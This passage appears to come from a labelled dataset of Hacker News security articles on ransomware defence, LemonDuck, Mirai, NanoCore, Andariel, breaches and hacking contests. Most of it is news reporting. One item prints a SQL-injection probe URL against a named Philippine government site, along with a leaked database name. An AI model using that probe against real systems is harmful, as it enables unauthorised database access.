For the industry experts who track the evolution of this threat, the increased frequency, sophistication, and destructiveness of ransomware suggests that businesses still have some major gaps in their defense strategies.
It's no surprise that a new, multi-layered approach to protection is needed to stem the damage caused by ransomware. But what changes should an IT team implement to close those gaps?
During a recent panel, a team of cybersecurity experts outlined a three-step plan to do just that -- centered around embracing new technologies, improving security processes, and ensuring their people know how to help curb the threat.
1 — New Strains Overwhelm Old Defenses
Many new ransomware strains now act like advanced persistent threats (APTs), laying dormant in the corporate network for weeks, quietly gathering information and stealing data.
This trend is why some analysts predict data exfiltration will overtake encryption as the preferred approach of ransomware attackers.
Despite their change in approach, attackers still rely on familiar techniques early in these attacks, such as phishing to steal credentials and inject malware. In fact, Topher Tebow, senior cybersecurity researcher at Acronis, says that 94% of successful malware attacks now begin with phishing.
To deny attackers entry, he advises organizations to update their email security and deploy URL filtering if they had not already done so. These defensive layers can block phishing emails from reaching a user's inbox and prevent a malware payload from infecting the system. Simple tech investments like these, Tebow notes, can be an easy, effective way to end a ransomware attack before it starts.
Dylan Pollock, a senior network engineer at NASCAR's Hendrik Motorsports, adds that attackers also love to target known vulnerabilities that remain unpatched in order to target operating systems, applications, and devices. Unpatched vulnerabilities ""are like catnip to cybercriminals,"" which is why he recommends organizations consider adopting tools that can automate vulnerability scanning and patch management efforts.
Organizations cannot continue to rely solely on signature-based defenses to stop cyber threats.
That's because, as Acronis VP of Cyber Protection Research Candid Wüest points out, cybercriminals are creating new versions of ransomware every day. That means each new attack is a zero-day threat that traditional signature-based defenses will miss.
Wüest says what organizations need is more adaptive defenses that use behavioral-based detection to identify and stop threats. Solutions powered by machine intelligence – the next stage of artificial intelligence and machine learning – that are adept at recognizing new patterns of attack behavior and automatically respond in real-time to mitigate the attack.
2 — Better Processes Stop Ransomware
While using modern solutions to defeat modern threats is critical, upgraded defenses alone are not enough in a world where ransomware is considered an inevitability by experts. The procedures organizations use to safeguard their data need to address that reality. ""It cannot be overstated how important a well-thought-out and religiously executed backup program is as a final line of defense,"" warns Graham Cluley.
A cybercrime researcher and host of the Smashing Security podcast, Cluley quickly adds that backups alone are not enough. Regular testing of those backups is required to ensure they enable an organization to restore quickly after an attack – otherwise, the company may end up paying the ransom anyway.
When it comes to examining processes, Wüest adds that organizations need to lock down all of the operational software used in their environment. That's because ransomware attackers increasingly are using a ""living off the land"" strategy, where they hijack common tools such as RDP and Mimikatz to steal passwords, escalate privileges, and take control of remote desktop tools.
That makes stealing and encrypting data much easier. He recommends that in addition to restricting elevated privileges, companies should enforce rigorous password procedures such as multi-factor authentication.
3 — People Aware of Ransomware Avoid It
Combatting ransomware falls down, though, if people aren't involved in protecting the company. Security awareness training is as vital to endpoint security as is defensive technology. Just training end-users to recognize and avoid social engineering attempts could go a long way to preventing an attack from succeeding, advises Pollock.
""If we could get users to think just two more seconds before they click on a suspicious email, many ransomware attacks would never get a toehold in our businesses,"" he noted.
Security teams have successfully adapted to combat ransomware, but Cluley cautioned against letting up on the gas. Cybercriminals continue to modify and advance their attacks, so organizations must constantly improve as well – deploying multiple layers of protection, ensuring security awareness, and testing their incident response plan. Then, he said, ""you'll have a fighting chance.""
Hear these cybersecurity experts' full recommendations in the recording of their Acronis virtual conference panel, ""See Inside a Live Ransomware Attack, Then Learn How to Prevent All of Them.""

",Malware
Microsoft Warns of LemonDuck Malware Targeting Windows and Linux Systems,https://thehackernews.com/2021/07/microsoft-warns-of-lemonduck-malware.html,"An infamous cross-platform crypto-mining malware has continued to refine and improve upon its techniques to strike both Windows and Linux operating systems by setting its sights on older vulnerabilities, while simultaneously latching on to a variety of spreading mechanisms to maximize the effectiveness of its campaigns.
""LemonDuck, an actively updated and robust malware that's primarily known for its botnet and cryptocurrency mining objectives, followed the same trajectory when it adopted more sophisticated behavior and escalated its operations,"" Microsoft said in a technical write-up published last week. ""Today, beyond using resources for its traditional bot and mining activities, LemonDuck steals credentials, removes security controls, spreads via emails, moves laterally, and ultimately drops more tools for human-operated activity.""
The malware is notorious for its ability to propagate rapidly across an infected network to facilitate information theft and turn the machines into cryptocurrency mining bots by diverting their computing resources to illegally mine cryptocurrency. Notably, LemonDuck acts as a loader for follow-on attacks that involve credential theft and the installation of next-stage implants that could act as a gateway to a variety of malicious threats, including ransomware.
LemonDuck's activities were first spotted in China in May 2019, before it began adopting COVID-19-themed lures in email attacks in 2020 and even the recently addressed ""ProxyLogon"" Exchange Server flaws to gain access to unpatched systems. Another tactic of note is its ability to erase ""other attackers from a compromised device by getting rid of competing malware and preventing any new infections by patching the same vulnerabilities it used to gain access.""
Attacks incorporating LemonDuck malware have been primarily focused on the manufacturing and IoT sectors, with the U.S, Russia, China, Germany, the U.K., India, Korea, Canada, France, and Vietnam witnessing the most encounters.
Additionally, Microsoft outed the operations of a second entity that relies on LemonDuck for achieving ""separate goals"", which the company codenamed ""LemonCat."" The attack infrastructure associated with the ""Cat"" variant is said to have emerged in January 2021, ultimately leading to its use in attacks exploiting vulnerabilities targeting Microsoft Exchange Server. Subsequent intrusions taking advantage of the Cat domains resulted in backdoor installation, credential, and data theft, and malware delivery, often a Windows trojan called Ramnit.
""The fact that the Cat infrastructure is used for more dangerous campaigns does not deprioritize malware infections from the Duck infrastructure,"" Microsoft said. ""Instead, this intelligence adds important context for understanding this threat: the same set of tools, access, and methods can be re-used at dynamic intervals, to greater impact.""
Update: In a deep dive on the attacker behavior post infection, Microsoft on Thursday disclosed LemonDuck's propagation tactics, counting edge-initiated compromises and bot-driven email campaigns, noting that it banks on fileless malware techniques to make remediation and removal non-trivial.
""LemonDuck attempts to automatically disable Microsoft Defender for Endpoint real-time monitoring and adds whole disk drives – specifically the C:\ drive – to the Microsoft Defender exclusion list,"" Microsoft 365 Defender Threat Intelligence Team said, mirroring a tactic that was recently disclosed as adopted by a new malware strain dubbed ""MosaicLoader"" to thwart antivirus scanning.
The attack chain is also said to leverage a wide range of freely available open-source and custom toolsets to facilitate credential theft, lateral movement, privilege escalation, and even erase traces of all other botnets, miners, and competitor malware from the compromised device, while downloading an XMRig miner implant as part of its monetization mechanism.

",Malware
Tesla Ransomware Hacker Pleads Guilty; Swiss Hacktivist Charged for Fraud,https://thehackernews.com/2021/03/tesla-ransomware-hacker-pledges-guilty.html,"The U.S. Department of Justice yesterday announced updates on two separate cases involving cyberattacks—a Swiss hacktivist and a Russian hacker who planned to plant malware in the Tesla company.
A Swiss hacker who was involved in the intrusion of cloud-based surveillance firm Verkada and exposed camera footage from its customers was charged by the U.S. Department of Justice (DoJ) on Thursday with conspiracy, wire fraud, and identity theft.
Till Kottmann (aka ""deletescape"" and ""tillie crimew""), 21, of Lucerne, Switzerland, and their co-conspirators were accused of hacking dozens of companies and government agencies since 2019 by targeting their ""git"" and other source code repositories and posting the proprietary data of more than 100 entities on a website called git[.]rip, according to the indictment.
Kottmann is alleged to have cloned the source code and other confidential files containing hard-coded administrative credentials and access keys, using them to infiltrate the internal infrastructure of victims further and copy additional records and intellectual property. Additionally, the prosecutors said the U.S. Federal Bureau of Investigation (FBI) seized the domain that was used to publish hacked data online.
The defendant's long list of victims includes Nissan, Intel, Mercedes-Benz, and many others, including the Verkada breach that happened earlier this month, thereby gaining access to more than 150,000 of the company's cameras installed in various locations ranging from Tesla warehouses to gyms, psychiatric hospitals, and health clinics.
Kottmann, who calls the hacktivist collective ""Advanced Persistent Threat 69420,"" told Bloomberg the breach ""exposes just how broadly we're being surveilled, and how little care is put into at least securing the platforms used to do so, pursuing nothing but profit,"" while attempting to justify their actions as part of a ""fight for freedom of information and against intellectual property.""
Then last Friday, Swiss authorities raided Kottmann's apartment and seized the hacker's electronic devices at the behest of U.S. authorities.
""Stealing credentials and data, and publishing source code and proprietary and sensitive information on the web is not protected speech — it is theft and fraud,"" said Acting U.S. Attorney Tessa M. Gorman. ""These actions can increase vulnerabilities for everyone from large corporations to individual consumers. Wrapping oneself in an allegedly altruistic motive does not remove the criminal stench from such intrusion, theft, and fraud.""
It's not immediately clear if U.S. prosecutors intend to extradite Kottmann, who still remains at large in Lucerne.
Russian National Pleads Guilty for Tesla Hacking Plot
In other related news, a Russian national pleaded guilty to offering a Tesla employee $1 million to plant ransomware at the electric carmaker's Gigafactory plant in Nevada.
According to court documents, the suspect, Egor Igorevich Kriuchkov, 27, traveled to the U.S. in July on a tourist visa and made contact with a Russian-speaking employee in an attempt to install malware into the company's computer network with the goal of exfiltrating data and holding it for ransom.
But the extortion scheme fell apart after the employee in question alerted the company of the incident, which then involved the FBI into the matter.
""This was a serious attack,"" CEO Elon Musk said in an August 2020 tweet.
Kriuchkov, who previously denied any wrongdoing in September before a federal magistrate judge, on Thursday pleaded guilty to one count of conspiracy to cause damage to a protected computer intentionally. Kriuchkov is scheduled to be sentenced on May 10.
""This case highlights our office's commitment to protecting trade secrets and other confidential information belonging to U.S. businesses — which is becoming even more important each day as Nevada evolves into a center for technological innovation,"" said Acting U.S. Attorney Christopher Chiou for the District of Nevada. ""Along with our law enforcement partners, we will continue to prioritize stopping cybercriminals from harming American companies and consumers.""

",Cyber_Attack
Google Pixel Phone and Microsoft Edge Hacked at PwnFest 2016,https://thehackernews.com/2016/11/google-pixel-phone-hacked.html,"The brand new Android smartphone launched by Google just a few months back has been hacked by Chinese hackers just in less than a minute.

Yes, the Google's latest Pixel smartphone has been hacked by a team white-hat hackers from Qihoo 360, besides at the 2016 PwnFest hacking competition in Seoul.

The Qihoo 360 team demonstrated a proof-of-concept exploit that used a zero-day vulnerability in order to achieve remote code execution (RCE) on the target smartphone.

The exploit then launched the Google Play Store on the Pixel smartphone before opening Google Chrome and displaying a web page that read ""Pwned By 360 Alpha Team,"" the Reg media reports.

Qihoo 360 won $120,000 cash prize for hacking the Pixel.
Google will now work to patch the vulnerability.

Besides the Google Pixel, Microsoft Edge running under Windows 10 was also hacked in PwnFest hacking competition.

The Qihoo 360 team also hacked Adobe Flash with a combination of a decade-old, use-after-free zero-day vulnerability and a win32k kernel flaw to win a $120k prize.

Along with hacker JH, Chinese iPhone jailbreak team Pangu, which release million-dollar iOS jailbreaks for free, discovered a Safari exploit that used a privilege escalation zero-day flaw, giving them root access on Apple's updated Safari browser running on MacOS Sierra in just 20 seconds.

The exploit earned the team $80,000.

Hackers Compromised Microsoft Edge is just 18 seconds
Researchers from Qihoo 360 and South Korean security researcher Junghoon Lee, aka LokiHardt, completely hacked the Microsoft Edge web browser operating on Windows 10 Red Stone 1 in just 18 seconds.

The security experts gained SYSTEM-level remote code execution on Edge, although they denied disclosing details of the vulnerability until the affected vendors come with a fix. Both researchers earned $140,000 for their Edge exploit.

Another Qihoo hacker team and Lee both, for the first time, remotely compromised VMware Workstation 12.5.1 without user interaction, bagging $150,000 for their exploits.

Details of all the exploits will be reported to the respected companies so that they can patch their software before black-hat hackers use them for malicious purposes.

The Qihoo 360 team of hackers walked away with a total prize money of $520,000.

",Vulnerability
"University of Wisconsin-Milwaukee hacked - 75,000 social security numbers exposed",https://thehackernews.com/2011/08/university-of-wisconsin-hacked-75000.html,"University of Wisconsin-Milwaukee hacked - 75,000 social security numbers exposed

University of Wisconsin-Milwaukee was the target. Malicious code was discovered on a document management database server. The university contacted law enforcement and after a month-long investigation realized that the database on the system contained over 75,000 records that included social security numbers for both students and employees. Nobody is sure how long the malware was running on the server, but it was shutdown once the breach was found. It's suspected that the software was being used to identify cutting edge research that the school is working on, but that has yet to be confirmed. It's also good to know that while students may have had their identity stolen, the database contained no ""academic information such as student grades,"" so at least the attackers won't be able to identify whether students passed their criminology courses.

",Malware
Classified U.S. Defense Network Outage Hits Air Force's Secret Drone Operations,https://thehackernews.com/2016/10/drone-siprnet-defence-network.html,"U.S. drones are again in news for killing innocent people.

The Air Force is investigating the connection between the failure of its classified network, dubbed SIPRNet, at Creech Air Force Base and a series of high-profile airstrikes that went terribly wrong in September this year.

Creech Air Force Base is a secret facility outside Las Vegas, where military and Air Force pilots sitting in dark and air-conditioned rooms, 7100 miles from Syria and Afghanistan, remotely control their ""targeted killing"" drone campaign in a video-game-style warfare.

From this ground zero, Air Force pilots fire missiles just by triggering a joystick on a targeted areas half a world away, as well as operate drones for surveillance and intelligence gathering.

Drone operation facility at Creech Air Force Base -- a key base for worldwide drone and targeted killing operations -- has been assigned as 'Special Access Programs', to access SIPRnet.

What is SIPRnet?

SIPRNet, or Secret Internet Protocol Router Network, is a global United States military Internet system used for transmitting classified information, intelligence, targets, and messages at the secret level.

In other words, SIPRNet is completely parallel Internet, uses the same communications procedures and has been kept separate from the ordinary civilian Internet.

Approximately 3 Million people with secret clearances have access to SIPRNet, which includes Pentagon and military officials, Intelligence agencies, FBI, as well as diplomats in US embassies all around the World.

Classified Network Crashed at Creech Base

The network at Creech Air Force Base was crashed in early September that impacted ""critical services,"" and has not been completely rebuilt, according to US government contracting records.
""On 9 September 2016, the SIPRNet system currently in operation at Creech AFB failed, and critical services were impacted,"" reads a contracting notice posted by the US government in early October.

""The services were somewhat restored with the use of multiple less powerful devices. This temporary solution stabilized the services, but will not be able to maintain the demand for very long. If this solution fails, there is currently no other backup system.""
The officials would not say whether the failure was due to internal technical faults, a cyber attack, or a state-sponsored hacker. They would also not say if JWICS — a separate internet system that handles top-secret information — at Creech was also affected.

US Drones Killed around 100 Innocents within Two Weeks

Within weeks of the computer disaster, a series of airstrikes went terribly wrong, which resulted in scores of deaths in Syria, Afghanistan, and Somalia, according to BuzzFeed News.

On September 17, 62 Syrian soldiers were accidentally killed by US airstrikes in the middle of a ceasefire. On September 28, 15 innocent civilians were reportedly killed in Afghanistan by a US drone, as well as 22 Somali soldiers were reportedly killed in Somalia by US drone strikes.

All the cases are under review and investigation, and there has been no official explanation for targeting innocent people, though the United States expressed its regrets quickly after the incident, according to reports.

On October 7, the Air Force quietly announced that Creech base would be subject to a surprise cyber security inspection and warned personnel to be wary of phishing attacks and to be extra careful in securing their login credentials.

Has U.S. Classified Network Been Hacked?

These classified networks are definitely not connected to the Internet, but this does not mean that malware or well-resourced hackers can never found their ways into these critical networks.

If confirmed, this would not be the first time, when a classified computer network of US military has been compromised.

In the year 2008, The Pentagon acknowledged a significant cyber attack, Operation Buckshot Yankee, where a foreign intelligence agent used a USB drive to infect military computers used by the Central Command in overseeing combat zones in Iraq and Afghanistan with a specially crafted malware.

You might be aware of Chelsea Manning (then known as Bradley Manning), an army soldier who made headlines in 2013 when she was sentenced to 35 years in prison for leaking over 700,000 classified files to WikiLeaks.

Manning allegedly downloaded those secret documents from SIPRNet using a Lady Gaga CD.

Since these classified networks have a significant role in US national security, terrorist groups and state-sponsored hackers belonging to sophisticated nation-states like China, Russia, Iran, and North Korea have always shown large interest in targeting them.

",Cyber_Attack
New Malware Family Uses Custom UDP Protocol for C&C Communications,https://thehackernews.com/2018/06/cyber-espionage-malware.html,"Security researchers have uncovered a new highly-targeted cyber espionage campaign, which is believed to be associated with a hacking group behind KHRAT backdoor Trojan and has been targeting organizations in South East Asia.

According to researchers from Palo Alto, the hacking group, which they dubbed RANCOR, has been found using two new malware families—PLAINTEE and DDKONG—to target political entities primarily in Singapore and Cambodia.

However, in previous years, threat actors behind KHRAT Trojan were allegedly linked to a Chinese cyber espionage group, known as DragonOK.

While monitoring the C&C infrastructure associated with KHRAT trojan, researchers identified multiple variants of these two malware families, where PLAINTEE appears to be the latest weapon in the group's arsenal that uses a custom UDP protocol to communicate with its remote command-and-control server.

To deliver both PLAINTEE and DDKONG, attackers use spear phishing messages with different infection vectors, including malicious macros inside Microsoft Office Excel file, HTA Loader, and DLL Loader, which includes decoy files.
""These decoys contain details from public news articles focused primarily on political news and events,"" researchers explain. ""Additionally, these decoy documents are hosted on legitimate websites including a government website belonging to the Cambodia Government and in at least once case, Facebook.""

Moreover, PLAINTEE downloads and installs additional plugins from its C&C server using the same custom UDP protocol that transmits data in encoded form.

""These families made use of custom network communication to load and execute various plugins hosted by the attackers,"" researchers say. ""Notably the PLAINTEE malware' use of a custom UDP protocol is rare and worth considering when building heuristics detections for unknown malware.""

On the other hand, DDKONG has been in use by the hacking group since February 2017 and doesn't have any custom communication protocol like PLAINTEE, though it is unclear whether one threat actor or more only use this malware.

According to researchers, the final payload of both malware families suggests that the purpose of both malware is to conduct cyber espionage on their political targets; instead of stealing money from their targets.

Since RANCOR group is primarily targeting non-tech-savvy users, it is always advised to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless adequately verifying the source.

Moreover, most importantly, make use of behavioral-based antivirus software that can detect and block such malware before it can infect your device, and always keep it and other apps up-to-date.

",Malware
DOLE website vulnerable to hackers !,https://thehackernews.com/2011/06/microsoftcom-server-vulnerable-to.html,"DOLE website vulnerable to hackers !
A hacker with Codename ""No.One"" release some vulnerability regarding DOLE via a pastebin post. We analyse it & Explaining the possible Security Breach.


Hackers Find a vulnerable site on 125.5.39.135 , which having two domains on it :

https://www.dole.gov.ph/ Official Website of the Department of Labor and Employment - Republic of Philippines . Is it vulnerable ?


Yes ! see : https://www.dole.gov.ph/secondpage.php?id=2113' . Its SQL injection . Now Hacker is able to get database from this site . For example the current database name is ""dolews_4a351sd"" and Hacker also may be able to upload to upload shell on server using this.


This Attack may lead to rooting of 125.5.39.135 Server, Which also other sites. Hackers may be able to deface the site or can steal source code too.


This Report is submitted by ""No.One"" Hacker and Presented by THN. Thank You !

",Vulnerability
How Hackers can Track your Mobile phone with a cheap setup ?,https://thehackernews.com/2012/02/how-hackers-can-track-your-mobile-phone.html,"How Hackers can Track your Mobile phone with a cheap setup ?

Cellular phones have become a ubiquitous means of communications with over 5 billion users worldwide in2010, of which 80% are GSM subscribers. Due to theiruse of the wireless medium and their mobile nature, thosephones listen to broadcast communications that could reveal their physical location to a passive adversary.

University of Minnesota researchers found a flaw in AT&T and T-Mobile cell towers that reveals the location of phone users. The attack, described in a Research paper (Click to Download Pdf), is most useful for determining whether a target is within a given geographic area as large as about 100 square kms or as small as one square kilometer. It can also be used to pinpoint a target's location but only when the attacker already knows the city, or part of a city, the person is in.

Ph.D. student Denis Foo Kune says, ""Cell phone towers have to track cell phone subscribers to provide service efficiently. For example, an incoming voice call requires the network to locate that device so it can allocate the appropriate resources to handle the call. Your cell phone network has to at least loosely track your phone within large regions in order to make it easy to find it"".

The messages contain I.D. codes. In order to match the codes to the cell phone number, researchers called the phone three times. The code that appeared three times in the same time period in which researchers were listening in is most likely the code of the cell phone.""From there we can use that I.D. to determine if you're around a certain area or if you're on a particular cell tower,"" he said.

The process requires a feature cellphone and a laptop, running the open-source Osmocom GSM firmware and software respectively, along with a cable connecting the two devices. It also uses a separate cellphone and landline.

The attackers use the landline to call the target's cellphone when it's located near the same LAC as the equipment and use the laptop output to monitor the broadcasts that immediately follow over the airwaves to page the target phone.

The implications of this research highlight possible personal safety issues. The group explains their work in a recently presented at the 19th Annual Network & Distributed System Security Symposium and was titled ""Location Leaks on the GSM Air Interface"". The group has also contacted AT&T and Nokia with some low-cost options that could be implemented without changing the hardware.

",Vulnerability
Critical vulnerability in Twitter allows attacker to upload Unrestricted Files,https://thehackernews.com/2013/10/critical-vulnerability-in-twitter.html,"Security expert Ebrahim Hegazy, Cyber Security Analyst Consultant at Q-CERT, has found a serious vulnerability in Twitter that allows an attacker to upload files of any extension including PHP.

When an application does not validate or improperly validates file types before uploading files to the system, called Unrestricted File upload vulnerability. Such flaws allow an attacker to upload and execute arbitrary code on the target system which could result in execution of arbitrary HTML and script code or system compromise.
According to Ebrahim, when a developer creates a new application for Twitter i.e. dev.twitter.com - they have an option to upload an image for that application.

While uploading the image, the Twitter server will check for the uploaded files to accept certain image extensions only, like PNG, JPG and other extensions won't get uploaded.

But in a Video Proof of Concept he demonstrated that, a vulnerability allowed him to bypass this security validation and an attacker can successfully upload .htaccess and .PHP files to twimg.com server.


Twimg.com is working as a CDN (content delivery network) which mean that every time attacker will upload a file, it will be hosted on a different server or subdomain of twimg.com.

In CDN's usually scripting engines are not allowed to run. So, in normal scenarios a successful Exploitation of uploading htaccess & PHP files to a server that supports the PHP i.e. Remote Code Execution on that server.


But in the case of Twitter:
Vulnerability could be used to make twimg.com as a Botnet Command server by hosting a text file with commands, so infected machines would connect to that file to take its commands. Since twimg.com is a trusted domain by users so it won't grab the attention.
For hosting of malicious files.
At least it could be used to upload a text page with a defacement content and then add the infected sub-domains of twimg.com as a mirror to Zone-h.org which would affect the reputation of Twitter.
Twitter recognized the criticality of the Unrestricted File Upload Vulnerability and added Hegazy name to their Hall of Fame. I personally reached Ebrahim Hegazy that revealed me that he has also found an Open redirection Vulnerability in Twitter on 15th Sept. that has also been fixed.

I conclude with a personal consideration, it's shame Twitter hasn't a bounty program, in my opinion is fundamental to incentive hackers to ethical disclosure of the bug. An attack against a social media could have serious repercussion on the users and on the reputation of the platform, if hackers sell the knowledge of the flaw on the black market a growing number of cyber criminals could benefit from it.

",Malware
Foxit PDF Software Company Suffers Data Breach—Asks Users to Reset Password,https://thehackernews.com/2019/08/foxit-pdf-reader-data-breach.html,"If you have an online account with Foxit Software, you need to reset your account password immediately—as an unknown attacker has compromised your personal data and log-in credentials.

Foxit Software, a company known for its popular lightweight Foxit PDF Reader and PhantomPDF applications being used by over 525 million users, today announced a data breach exposing the personal information of 'My Account' service users.

Though for using free versions of any Foxit PDF software doesn't require users to sign up with an account, the membership is mandatory for customers who want to access ""software trial downloads, order histories, product registration information, and troubleshooting and support information.""

According to a blog post published today by Foxit, unknown third-parties gained unauthorized access to its data systems recently and accessed its ""My Account"" registered users' data, including their email addresses, passwords, users' names, phone numbers, company names, and IP addresses.

From the company's statement, it's not clear, if the leaked account passwords are protected with a robust hashing algorithm and salting mechanism to make it tough for hackers to crack them.
However, the company assured its users that no payment card details or other personal identification data of its My Account users had been accessed since the compromised system doesn't hold this data.

Reset Your 'My Account' Password Now!

In response to this security incident, Foxit has immediately invalidated the account passwords for all affected users, requiring them to reset their passwords to regain access to their online account on the Foxit Software website.

The company has also launched a digital forensics investigation as well as notified law enforcement agencies and data protection authorities of the incident.

Besides this, Foxit Software has also hired a security management firm to conduct an in-depth analysis of its systems and strengthen their security in order to protect the company against future cybersecurity incidents.

Following the password reset, the company has also contacted affected users via email (as shown above in the screenshot shared by a user), providing them with a link to create a new, strong and unique password for their accounts to prevent any unauthorized access.

Foxit users have also been recommended to remain vigilant by being cautious of any suspicious emails asking them to click on the links or download attachments, and reviewing their account statements and monitoring their credit reports to avoid identity theft.

",Data_Breaches
More Insights On Alleged DDoS Attack Against Liberia Using Mirai Botnet,https://thehackernews.com/2016/11/ddos-attack-mirai-liberia.html,"On Thursday, we compiled a story based on research published by a British security expert reporting that some cyber criminals are apparently using Mirai Botnet to conduct DDoS attacks against the telecommunication companies in Liberia, a small African country.

In his blog post, Kevin Beaumont claimed that a Liberian transit provider confirmed him about the DDoS attack of more than 500 Gbps targeting one undersea cable servicing Internet connectivity for the entire country.

Later, some media outlets also confirmed that the DDoS attack caused Internet outage in some parts of the country, citing 'slow Internet' and 'total outage' experienced by some local sources and citizens.
""The DDoS is killing our business. We have a challenge with the DDoS. We are hoping someone can stop it. It's killing our revenue. Our business has frequently been targeted"" an employee with one Liberian mobile service provider told PC World.
Network firm Level 3 confirmed Zack Whittaker of ZDNet that it had seen attacks on telecoms companies in Liberia making access to the web spotty. Other reports suggested mobile net access was affected too.
""At first I thought it was a problem with my internet provider, which often suffers from slow speeds. But this feels more serious. Even when you do get online, the connection repeatedly cuts out."" BBC Africa's Jonathan Paye-Layleh in Liberia shared his experience.
Of course, based on the high concern, the story went viral and Kevin's research was covered by other media outlets, including BBC, PC World, The Guardian, Forbes, IBtimes, Quartz, Mashable, although few of them interpreted the incident incorrectly and claimed that the attack took down the entire country's Internet.

In our article, we explicitly mentioned multiple times that criminals are ""using Mirai Botnet to shut down the Internet for an entire country"" and ""trying to take down the Internet of Liberia.""

The only mistake in our previous article was the image caption which briefly said, ""DDoS takes down entire country offline."" We apologize to our readers for an incorrect image caption, which has now been corrected.

Latest Insights On Liberia DDoS Attack Story

After Kevin's story, some new developments with more insights have appeared.

Doug Madory, the Director of Internet Analysis at Dyn Research tweeted that DYN and Internet-infrastructure company Akamai have no data that supports any nationwide Internet outage in Liberia.

The Hacker News has also been contacted by Kpetermeni Siakor, who manages infrastructure at the Liberia Internet Exchange Point, stating that only Lonestarcell MTN, one of the country's four major telecommunication companies, faced 500 Gbps of DDoS attack for a short period, which was mitigated successfully.
""From inspecting our logs at the Liberia IXP, we didn't see any downtime in the past three weeks. The general manager of the CCL also couldn't confirm any issues with the ACE cable,"" Siakor said.
In our previous article, the primary concern surrounds around two facts: The Mirai Botnet capability and ACE submarine fiber-optic cable capacity.

Where just 100,000 Mirai bots were successful in knocking down the majority of Internet Offline two weeks ago, how easy it could be for millions of bots to DDoS the ACE submarine fiber-optic cable, whose total capacity is just 5.12 Tbps that is being shared between all of the 23 countries, including Liberia.

So, when we said that someone was trying to take the entire country down, we meant that cyber criminals have such capacity to do so, and since they have targeted one network operator, does not mean they would not attack other network operators that could impact the Internet services in the country.

Mirai Malware Threat: Protect Your IoT Devices

The incidents involving the Mirai malware is extremely worrying because it can take over insecure cameras, DVRs, and routers, which are widely available all around the world – Thanks to lazy manufacturers and customers.

Mirai malware scans for Internet of Things (IoT) devices that are still using their default passwords and then enslaves those devices into a botnet, which is then used to launch DDoS attacks.

So, the best way to protect yourself and your devices is to be more vigilant about the security of your smart devices.

In our previous article, we provided some basic, rather practical, solutions that will help you protect your IoT devices from becoming part of the Mirai botnet. You can also check also yourself if your IoT device is vulnerable to Mirai malware.

",Malware
Hacker Who Never Hacked Anyone Gets 33-Month Prison Sentence,https://thehackernews.com/2018/02/malware-author-jailed.html,"A hacker who was arrested and pleaded guilty last year—not because he hacked someone, but for creating and selling a remote access trojan that helped cyber criminals—has finally been sentenced to serve almost three years in prison.

Taylor Huddleston, 26, of Hot Springs, Arkansas, pleaded guilty in July 2017 to one charge of aiding and abetting computer intrusions by building and intentionally selling a remote access trojan (RAT), called NanoCore, to hackers for $25.

Huddleston was arrested in March, almost two months before the FBI raided his house in Hot Springs, Arkansas and left with his computers after 90 minutes, only to return eight weeks later with handcuffs.

This case is a rare example of the US Department of Justice (DOJ) charging someone not for actively using malware to hack victims' computers, but for developing and selling it to other cybercriminals.

Huddleston admitted to the court that he created his software knowing it would be used by other cybercriminals to break the law.

He initially started developing NanoCore in late 2012 with a motive to offer a low-budget remote management software for schools, IT-conscious businesses, and parents who desired to monitor their children's activities on the web.
However, Huddleston marketed and sold the NanoCore RAT for $25 in underground hacking forums that were extremely popular with cybercriminals around the world from January 2014 to February 2016. He then sold ownership of NanoCore to a third-party in 2016.

NanoCore RAT happens to be popular among cybercriminals on underground hacking forums and has been linked to intrusions in at least ten countries. Among the victims was a high-profile assault on Middle Eastern energy firms in 2015.

Huddleston also agreed with prosecutors that NanoCore RAT and available third-party plugins offered a full set of features including:
Stealing sensitive information from victim computers, such as passwords, emails, and instant messages.
Remotely activating and controlling connected webcams on the victims' computers in order to spy on them.
Ability to view, delete, and download files.
Locking infected PCs and holding them to ransom.
Using infected PCs to launch distributed denial of service (DDoS) attacks on websites and similar services.

In July plea, Huddleston also took responsibility for creating and operating a software licensing system called ""Net Seal"" that was used by another suspect, Zachary Shames, to sell thousands of copies of Limitless keylogger.

Shames used Net Seal to infect 3,000 people that were, in turn, used it to infect 16,000 computers, according to the DoJ.

In his guilty plea, Huddleston admitted that he intended his products to be used maliciously.

Besides the 33-month prison sentence handed down by judges on Friday, Huddleston also gets two years of supervised release.

",Cyber_Attack
Malware Attack on South Korean Entities Was Work of Andariel Group,https://thehackernews.com/2021/06/malware-attack-on-south-korean-entities.html,"A malware campaign targeting South Korean entities that came to light earlier this year has been attributed to a North Korean nation-state hacking group called Andariel, once again indicating that Lazarus attackers are following the trends and their arsenal is in constant development.
""The way Windows commands and their options were used in this campaign is almost identical to previous Andariel activity,"" Russian cybersecurity firm Kaspersky said in a deep-dive published Tuesday. Victims of the attack are in the manufacturing, home network service, media, and construction sectors.
Designated as part of the Lazarus constellation, Andariel is known for unleashing attacks on South Korean organizations and businesses using specifically tailored methods created for maximum effectivity. In September 2019, the sub-group, along with Lazarus and Bluenoroff, was sanctioned by the U.S. Treasury Department for their malicious cyber activity on critical infrastructure.
Andariel is believed to have been active since at least May 2016.
North Korea has been behind an increasingly orchestrated effort aimed at infiltrating computers of financial institutions in South Korea and around the world as well as staging cryptocurrency heists to fund the cash-strapped country in an attempt to circumvent the stranglehold of economic sanctions imposed to stop the development of its nuclear weapons program.
The findings from Kaspersky build upon a previous report from Malwarebytes in April 2021, which documented a novel infection chain that distributed phishing emails weaponized with a macro embedded in a Word file that's executed upon opening in order to deploy malicious code concealed in the form of a bitmap (.BMP) image file to drop a remote access trojan (RAT) on targeted systems.
According to the latest analysis, the threat actor, besides installing a backdoor, is also said to have delivered file-encrypting ransomware to one of its victims, implying a financial motive to the attacks. It's worth noting that Andariel has a track record of attempting to steal bank card information by hacking into ATMs to withdraw cash or sell customer information on the black market.
""This ransomware sample is custom made and specifically developed by the threat actor behind this attack,"" Kaspersky Senior Security Researcher Seongsu Park said. ""This ransomware is controlled by command line parameters and can either retrieve an encryption key from the C2 [server] or, alternatively, as an argument at launch time.""
The ransomware is designed to encrypt all files in the machine with the exception of system-critical "".exe,"" "".dll,"" "".sys,"" "".msiins,"" and "".drv"" extensions in return for paying a bitcoin ransom to gain access to a decrypt tool and unique key to unlock the scrambled files.
Kaspersky's attribution to Andariel stems from overlaps in the XOR-based decryption routine that have been incorporated into the group's tactics as early as 2018 and in the post-exploitation commands executed on victim machines.
""The Andariel group has continued to focus on targets in South Korea, but their tools and techniques have evolved considerably,"" Park said. ""The Andariel group intended to spread ransomware through this attack and, by doing so, they have underlined their place as a financially motivated state-sponsored actor.""

",Cyber_Attack
